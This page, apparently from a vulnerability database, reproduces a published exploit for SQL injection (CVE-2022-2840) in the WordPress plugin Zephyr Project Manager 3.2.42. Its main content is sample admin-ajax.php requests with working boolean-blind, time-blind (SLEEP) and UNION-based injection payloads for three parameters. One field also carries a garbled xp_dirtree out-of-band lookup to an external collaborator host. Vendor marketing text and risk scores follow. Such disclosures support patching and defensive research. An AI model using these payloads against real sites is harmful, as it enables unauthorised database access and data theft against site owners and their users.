Wordpress Plugin Zephyr Project Manager 3.2.42 - Multiple SQL Injections (SQLi)
Wordpress Plugin Zephyr Project Manager 3.2.42 - Multiple SQL
| Reporter | Title | Published | Views | Family All 17 |
|---|---|---|---|---|
| Wordpress Zephyr Project Manager 3.2.42 Plugin - Multiple SQL injection Vulnerabilities | 6 Oct 202200:00 | – | zdt | |
| CVE-2022-2840 | 19 Sep 202214:15 | – | attackerkb | |
| CVE-2022-2840 | 6 Oct 202200:00 | – | circl | |
| WordPress plugin Zephyr Project Manager has a SQL injection vulnerability. | 19 Sep 202200:00 | – | cnnvd | |
| CVE-2022-2840 | 19 Sep 202200:00 | – | cve | |
| CVE-2022-2840 Zephyr Project Manager < 3.2.5 - Multiple Unauthenticated SQLi | 19 Sep 202200:00 | – | cvelist | |
| EUVD-2022-35074 | 3 Oct 202520:07 | – | euvd | |
| CVE-2022-2840 | 19 Sep 202214:15 | – | nvd | |
| CVE-2022-2840 | 19 Sep 202214:15 | – | osv_cve | |
| WordPress Zephyr Project Manager 3.2.42 SQL Injection | 7 Oct 202200:00 | – | packetstorm |
10
# Exploit Title: Wordpress Plugin Zephyr Project Manager 3.2.42 - Multiple SQLi
# Date: 14-08-2022
# Exploit Author: Rizacan Tufan
# Blog Post: https://rizax.blog/blog/wordpress-plugin-zephyr-project-manager-multiple-sqli-authenticated
# Software Link: https://wordpress.org/plugins/zephyr-project-manager/
# Vendor Homepage: https://zephyr-one.com/
# Version: 3.2.42
# Tested on: Windows, Linux
# CVE : CVE-2022-2840 (https://wpscan.com/vulnerability/13d8be88-c3b7-4d6e-9792-c98b801ba53c)
# Description
Zephyr Project Manager is a plug-in that helps you manage and get things done effectively, all your projects and tasks.
It has been determined that the data coming from the input field in most places throughout the application are used in
the query without any sanitize and validation.
The details of the discovery are given below.
# Proof of Concept (PoC)
The details of the various SQL Injection on the application are given below.
## Endpoint of Get Project Data.
Sample Request :
POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_projects
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
action=zpm_view_project&project_id=1&zpm_nonce=22858bf3a7
Payload :
---
Parameter: project_id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: action=zpm_view_project&project_id=1 AND 4923=4923&zpm_nonce=22858bf3a7
Type: time-based blind
Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
Payload: action=zpm_view_project&project_id=1 OR (SELECT 7464 FROM (SELECT(SLEEP(20)))EtZW)&zpm_nonce=22858bf3a7
Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: action=zpm_view_project&project_id=-4909 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71707a7071,0x6264514e6e4944795a6f6e4a786a6e4d4f666255434d6a5553526e43616e52576c75774743434f67,0x71786b6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&zpm_nonce=22858bf3a7
---
## Endpoint of Get Task Data.
Sample Request :
POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_tasks
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
task_id=1&action=zpm_view_task&zpm_nonce=22858bf3a7
Payload :
---
Parameter: task_id (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: task_id=1 AND (SELECT 5365 FROM (SELECT(SLEEP(20)))AdIX)&action=zpm_view_task&zpm_nonce=22858bf3a7
---
## Endpoint of New Task.
Sample Request :
POST /wp-admin/admin-ajax.php HTTP/2
Host: vuln.local
Cookie: ...
...
Referer: https://vuln.local/wp-admin/admin.php?page=zephyr_project_manager_tasks
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 337
Origin: https://vuln.local
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
task_name=test&task_description=test&task_project=1&task_due_date=&task_start_date=&team=0&priority=priority_none&status=test&type=default&recurrence%5Btype%5D=default&parent-id=-1&action=zpm_new_task&zpm_nonce=22858bf3a7
Payload :
---
Parameter: task_project (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: task_name=test&task_description=test&task_project=1 AND (SELECT 3078 FROM (SELECT(SLEEP(20)))VQSp)&task_due_date=&task_start_date=&team=0&priority=priority_none&status=rrrr-declare-q-varchar-99-set-q-727aho78zk9gcoyi8asqud6osfy9m0io9hx9kz8o-oasti-fy-com-tny-exec-master-dbo-xp-dirtree-q&type=default&recurrence[type]=default&parent-id=-1&action=zpm_new_task&zpm_nonce=22858bf3a7
---Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Jul 2023 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.13424